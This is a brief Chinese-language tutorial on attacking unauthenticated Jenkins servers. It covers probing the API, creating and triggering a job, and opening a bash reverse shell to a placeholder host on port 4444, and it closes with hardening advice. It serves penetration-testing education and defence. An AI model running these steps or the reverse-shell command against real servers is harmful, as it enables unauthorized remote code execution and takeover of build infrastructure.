Jenkins未授权访问与代码执行利用

Jenkins 未授权访问到代码执行完整利用链:发现/确认/创建Job/执行脚本/反弹Shell,含防御加固。

写在前面:合法学习边界

Jenkins 攻击只在授权测试环境进行。对非授权 Jenkins 实例进行攻击可能触犯法律。

一、Jenkins 利用链

Jenkins 未授权到代码执行
1
① 发现 Jenkins → ② 确认未授权 → ③ 创建 Job → ④ 执行脚本 → ⑤ 反弹 Shell

二、利用步骤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 确认未授权
curl -s http://target:8080/api/json

# 创建 Job(POST /createItem?name=exploit)
# Content-Type: text/xml
# body: <com.cloudbees....>

# 触发执行
POST http://target:8080/job/exploit/build

# 反弹 Shell
bash -i >& /dev/tcp/xxx/4444 0>&1

三、防御加固

1
2
3
启用 Jenkins 认证 · 网络隔离(不暴露公网)
启用 CSRF Protection · 限制 /api/* 访问
升级最新版本 · 审计 API 调用日志

四、小结

Jenkins 未授权 = 服务器 RCE。防御核心是认证 + 网络隔离 + CSRF 防护